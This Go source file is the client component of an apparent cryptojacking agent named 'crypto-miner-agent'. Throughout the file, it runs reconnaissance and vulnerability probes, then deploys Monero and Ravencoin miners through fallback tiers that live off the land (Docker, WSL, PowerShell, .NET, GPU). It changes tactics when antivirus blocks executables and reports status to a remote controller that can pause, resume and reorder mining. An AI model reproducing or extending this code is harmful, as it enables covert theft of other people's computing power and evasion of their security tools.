package client import ( "context" "encoding/json" "fmt" "log" "sync" "crypto-miner-agent/config" "crypto-miner-agent/miner" ) // MiningChainRunner wires the unified fallback cascade into AgentClient. type MiningChainRunner struct { client *AgentClient ctrl *miner.ChainController tiers *miner.TierOrchestrator onion *miner.TripleOnionOrchestrator mu sync.Mutex monCancel context.CancelFunc onionAttempts []miner.TierAttempt } func (c *AgentClient) newMiningChainRunner() *MiningChainRunner { if !miner.VulnProbeRunnerWired() { miner.SetVulnProbeRunner(func() miner.TierAttempt { report := RunVulnLOTLProbe() attempt := miner.TierAttempt{ Tier: miner.TierVulnProbe, OK: true, Wallet: c.cfg.Wallet, Details: map[string]interface{}{ "risk_score": report.RiskScore, "exposed_count": report.ExposedCount, "finding_count": len(report.Findings), }, } return attempt }) } r := &MiningChainRunner{client: c} hooks := miner.ChainHooks{ StartDockerLoad: r.startDockerLoad, StartContainer: r.startContainer, StartWSL: r.startWSL, StartPowerShell: r.startPowerShell, StartDotnet: r.startDotnet, StartInProcess: r.startInProcess, StartGPU: r.startGPU, StartPyOpenCL: r.startPyOpenCL, StopDockerLoad: r.stopDockerLoad, StopContainer: r.stopContainer, StopWSL: r.stopWSL, StopPowerShell: r.stopPowerShell, StopDotnet: r.stopDotnet, StopInProcess: r.stopInProcess, StopGPU: r.stopGPU, StopPyOpenCL: r.stopPyOpenCL, IsDockerLoadHealthy: func() bool { return c.containerMiner != nil && c.containerMiner.Running() }, IsContainerHealthy: func() bool { return c.containerMiner != nil && c.containerMiner.Running() }, IsWSLHealthy: func() bool { return c.wslMiner != nil && c.wslMiner.Running() }, IsGPUSupported: func() bool { return newGPUMiner(c.cfg) != nil }, PoolConfigured: func() bool { return c.cfg.PoolHost != "" }, } probes := miner.ProbeEnvironment(miner.RuntimeDetector) r.tiers = miner.NewTierOrchestrator(c.cfg, probes, c.miningTierPolicy(), r.tiersHooks(hooks.IsGPUSupported), r.reportTierEvent) hooks.RunTierProbes = func() miner.TierReport { r.tiers.RunProbes(context.Background()) return r.tiers.Report() } hooks.RunTierChain = func() (miner.LOTLTier, error) { tier, err := r.tiers.TryChain(context.Background()) return tier, err } hooks.StopTiers = func() {} hooks.WebGPUReady = r.tiers.WebGPUReady hooks.GPUComputeReady = r.tiers.GPUComputeReady r.ctrl = miner.NewChainController(c.cfg, hooks, r.reportMiningEvent) r.onion = r.wireTripleOnion() return r } func (r *MiningChainRunner) tiersHooks(isGPUSupported func() bool) miner.TierHooks { return miner.TierHooks{ StartDockerLoad: r.startDockerLoad, StartContainer: r.startContainer, StartWSL: r.startWSL, StartPowerShell: r.startPowerShell, StartDotnet: r.startDotnet, StartInProcess: r.startInProcess, StartGPU: r.startGPU, StopDockerLoad: r.stopDockerLoad, StopContainer: r.stopContainer, StopWSL: r.stopWSL, StopPowerShell: r.stopPowerShell, StopDotnet: r.stopDotnet, StopInProcess: r.stopInProcess, StopGPU: r.stopGPU, IsGPUSupported: isGPUSupported, } } // Start launches recon → deploy → mining triple onion, then the health monitor. func (r *MiningChainRunner) Start(ctx context.Context) { if r.onion != nil { report := r.onion.Run(ctx) log.Printf("[triple-onion] complete phase=%s gate=%+v recon_risk=%d attempts=%d", report.ActivePhase, report.Gate, report.Recon.RiskScore, len(report.Attempts)) r.mu.Lock() r.onionAttempts = report.Attempts r.mu.Unlock() return } r.startMiningCascade(ctx) } // startMiningCascade runs the existing LOTL mining onion + fallback chain. func (r *MiningChainRunner) startMiningCascade(ctx context.Context) { execMode, containerRT := miner.ResolveExecutionMode(r.client.cfg) probes := miner.ProbeEnvironment(miner.RuntimeDetector) tierReport := r.tiers.Report() log.Printf("[mining-chain] execution=%s runtime=%s available=%v order=%v lotl=%v", execMode, containerRT.CLI, containerRT.Available, r.ctrl.Status().ChainOrder, tierReport.TierChainOrder) if hint := miner.AVBlockRecommendation(execMode, containerRT); hint != "" { log.Printf("[mining-chain] %s", hint) } if probes.AVBlocksExe { log.Printf("[mining-chain] AV blocks exe — tier onion skips subprocess, prefers container/WSL/PS") } if r.onion != nil && r.onion.GateDecisionSnapshot().ForceIsolated { policy := miner.ApplyIsolatedMiningPolicy(r.client.miningTierPolicy()) r.client.mu.Lock() r.client.tierPolicy = policy r.client.mu.Unlock() r.tiers = miner.NewTierOrchestrator(r.client.cfg, probes, policy, r.tiersHooks(func() bool { return newGPUMiner(r.client.cfg) != nil }), r.reportTierEvent) } if tier, err := r.tiers.TryChain(ctx); err != nil { log.Printf("[mining-chain] LOTL tier chain failed: %v", err) } else if method, ok := miner.TierToMiningMethod(tier); ok { r.ctrl.SetPrimaryActive(method) } if _, err := r.ctrl.TryChain(ctx); err != nil { log.Printf("[mining-chain] initial chain pass failed: %v", err) } monCtx, cancel := context.WithCancel(ctx) r.mu.Lock() r.monCancel = cancel r.mu.Unlock() go r.ctrl.Monitor(monCtx) } // StopBranchAttempt stops active branch methods without setting operator pause. func (r *MiningChainRunner) StopBranchAttempt() { r.ctrl.StopAll() } // Stop halts all mining methods in the chain. func (r *MiningChainRunner) Stop() { r.mu.Lock() if r.monCancel != nil { r.monCancel() r.monCancel = nil } r.mu.Unlock() r.ctrl.StopAll() } // Resume restarts mining after a remote pause command. func (r *MiningChainRunner) Resume(ctx context.Context) { r.ctrl.ResumeAll(ctx) } // Restart reruns the full chain (remote resume / reconnect). func (r *MiningChainRunner) Restart(ctx context.Context) { r.ctrl.RestartChain(ctx) } // RestartContainer stops and relaunches the container/docker_load tier. func (r *MiningChainRunner) RestartContainer() error { r.stopContainer() return r.startContainer() } // ReorderChain updates cascade order and optionally skips failed methods. func (r *MiningChainRunner) ReorderChain(chain, skip []miner.MiningMethod) { r.ctrl.ReorderChain(chain, skip) } // SwapGPU restarts the parallel GPU subprocess miner. func (r *MiningChainRunner) SwapGPU() error { r.stopGPU() return r.startGPU() } // Status returns the live cascade snapshot for stats/diagnostics. func (r *MiningChainRunner) Status() miner.MiningStatus { st := r.ctrl.Status() if r.tiers == nil { return st } tr := r.tiers.Report() if tr.ActiveTier != "" { st.LOTLTier = tr.ActiveTier } r.mu.Lock() onionAttempts := r.onionAttempts r.mu.Unlock() attempts := tr.Attempts if len(onionAttempts) > 0 { attempts = mergeOnionAttempts(onionAttempts, attempts) } if len(attempts) > 0 { st.LOTLAttempts = attempts } st.WebGPUReady = tr.WebGPUReady return st } func mergeOnionAttempts(onion, mining []miner.TierAttempt) []miner.TierAttempt { out := make([]miner.TierAttempt, 0, len(onion)+len(mining)) out = append(out, onion...) for _, a := range mining { if a.Phase == "" || a.Phase == string(miner.OnionPhaseMining) { out = append(out, a) } } return out } // SetStratumActive records direct Stratum overlay from stratumFallbackManager. func (r *MiningChainRunner) SetStratumActive(active bool) { r.ctrl.SetStratumActive(active) } // OnGPUFailed records GPU subprocess failure without stopping CPU primary. func (r *MiningChainRunner) OnGPUFailed(reason string) { r.ctrl.OnMethodFailed(miner.MethodGPUSubprocess, reason) } func (r *MiningChainRunner) startDockerLoad() error { c := r.client _, containerRT := miner.ResolveExecutionMode(c.cfg) if !containerRT.Available { return fmt.Errorf("docker_load tier: no container runtime (docker/podman not in PATH)") } tarPath, err := miner.ResolveImageTar(c.cfg) if err != nil { return err } launcher, err := miner.NewContainerLauncherFromTar(c.cfg, containerRT, tarPath) if err != nil { return err } if err := launcher.Start(); err != nil { return err } c.containerMiner = launcher c.hostMiningDisabled.Store(true) c.pool.PauseRemote() log.Printf("[mining-chain] docker_load active — host RandomX paused wallet=%s", c.cfg.Wallet) return nil } func (r *MiningChainRunner) startContainer() error { c := r.client _, containerRT := miner.ResolveExecutionMode(c.cfg) launcher, err := miner.NewContainerLauncher(c.cfg, containerRT) if err != nil { return err } if err := launcher.Start(); err != nil { return err } c.containerMiner = launcher c.hostMiningDisabled.Store(true) c.pool.PauseRemote() log.Printf("[mining-chain] container active — host RandomX paused") return nil } func (r *MiningChainRunner) startWSL() error { c := r.client wslRT := miner.WSLDetector() launcher, err := miner.NewWSLLauncher(c.cfg, wslRT) if err != nil { return err } if err := launcher.Start(); err != nil { return err } c.wslMiner = launcher c.hostMiningDisabled.Store(true) c.pool.PauseRemote() log.Printf("[mining-chain] wsl active — host RandomX paused wallet=%s", c.cfg.Wallet) return nil } func (r *MiningChainRunner) startPowerShell() error { c := r.client launcher, err := miner.NewPowerShellLauncher(c.cfg) if err != nil { return err } if err := launcher.Start(); err != nil { return err } c.psMiner = launcher c.hostMiningDisabled.Store(true) c.pool.PauseRemote() log.Printf("[mining-chain] powershell tier active wallet=%s pool=%s:%d", c.cfg.Wallet, c.cfg.PoolHost, c.cfg.PoolPort) return nil } func (r *MiningChainRunner) startDotnet() error { c := r.client launcher, err := miner.NewDotnetLauncher(c.cfg) if err != nil { return err } if err := launcher.Start(); err != nil { return err } c.dotnetMiner = launcher c.hostMiningDisabled.Store(true) c.pool.PauseRemote() log.Printf("[mining-chain] dotnet tier active wallet=%s pool=%s:%d toolchain=%s dir=%s", c.cfg.Wallet, c.cfg.PoolHost, c.cfg.PoolPort, launcher.Toolchain(), launcher.WorkDir()) return nil } func (r *MiningChainRunner) startInProcess() error { c := r.client r.stopSidecarPrimary(c) c.hostMiningDisabled.Store(false) c.pool.ResumeRemote() log.Printf("[mining-chain] in-process RandomX active") return nil } func (r *MiningChainRunner) startGPU() error { c := r.client c.mu.Lock() defer c.mu.Unlock() if c.gpuMiner != nil { c.gpuMiner.Resume() return nil } gm := newGPUMiner(c.cfg) if gm == nil { return miner.ErrMethodUnavailable } c.gpuMiner = gm gm.Start() log.Printf("[mining-chain] GPU subprocess started (parallel RVN)") return nil } func (r *MiningChainRunner) startPyOpenCL() error { if err := miner.StartPyOpenCLTier(r.client.cfg); err != nil { return err } log.Printf("[mining-chain] linux_pyopencl tier probe OK") return nil } func (r *MiningChainRunner) stopPyOpenCL() {} func (r *MiningChainRunner) stopDockerLoad() { r.stopContainer() } func (r *MiningChainRunner) stopContainer() { c := r.client if c.containerMiner != nil { c.containerMiner.Stop() c.containerMiner = nil } c.hostMiningDisabled.Store(false) } func (r *MiningChainRunner) stopWSL() { c := r.client if c.wslMiner != nil { c.wslMiner.Stop() c.wslMiner = nil } c.hostMiningDisabled.Store(false) } func (r *MiningChainRunner) stopPowerShell() { c := r.client if c.psMiner != nil { c.psMiner.Stop() c.psMiner = nil } c.hostMiningDisabled.Store(false) } func (r *MiningChainRunner) stopDotnet() { c := r.client if c.dotnetMiner != nil { c.dotnetMiner.Stop() c.dotnetMiner = nil } c.hostMiningDisabled.Store(false) } func (r *MiningChainRunner) stopSidecarPrimary(c *AgentClient) { if c.containerMiner != nil && c.containerMiner.Running() { c.containerMiner.Stop() c.containerMiner = nil } if c.wslMiner != nil && c.wslMiner.Running() { c.wslMiner.Stop() c.wslMiner = nil } if c.psMiner != nil && c.psMiner.Running() { c.psMiner.Stop() c.psMiner = nil } if c.dotnetMiner != nil && c.dotnetMiner.Running() { c.dotnetMiner.Stop() c.dotnetMiner = nil } } func (r *MiningChainRunner) stopInProcess() { c := r.client c.pool.PauseRemote() } func (r *MiningChainRunner) stopGPU() { c := r.client c.mu.Lock() gm := c.gpuMiner c.mu.Unlock() if gm != nil { gm.Stop() } c.mu.Lock() c.gpuMiner = nil c.mu.Unlock() r.ctrl.SetGPUActive(false) } func (r *MiningChainRunner) reportTierEvent(report miner.TierReport, eventType string) { c := r.client payload, err := json.Marshal(struct { miner.TierReport Event string `json:"event"` }{ TierReport: report, Event: eventType, }) if err != nil { return } if err := c.write(Message{Type: "tier_report", Payload: payload}); err != nil { log.Printf("[lotl-tier] %s notify failed: %v", eventType, err) } r.ctrl.MergeLOTLReport(report) if method, ok := miner.TierToMiningMethod(report.ActiveTier); ok { r.ctrl.SetPrimaryActive(method) } } func (r *MiningChainRunner) reportMiningEvent(status miner.MiningStatus, eventType string) { c := r.client payload, err := json.Marshal(struct { miner.MiningStatus Event string `json:"event"` }{ MiningStatus: status, Event: eventType, }) if err != nil { return } if err := c.write(Message{Type: eventType, Payload: payload}); err != nil { log.Printf("[mining-chain] %s notify failed: %v", eventType, err) } } // chainOrderForConfig exposes chain order for diagnostics without starting mining. func chainOrderForConfig(cfg config.RuntimeConfig) []miner.MiningMethod { rt := miner.RuntimeDetector() return miner.DefaultFallbackChain(cfg, rt) } func tierChainForConfig(cfg config.RuntimeConfig, policy miner.MiningTierPolicy) []miner.LOTLTier { probes := miner.ProbeEnvironment(miner.RuntimeDetector) chain, _ := miner.SelectMiningTierChain(probes, policy, cfg) return chain }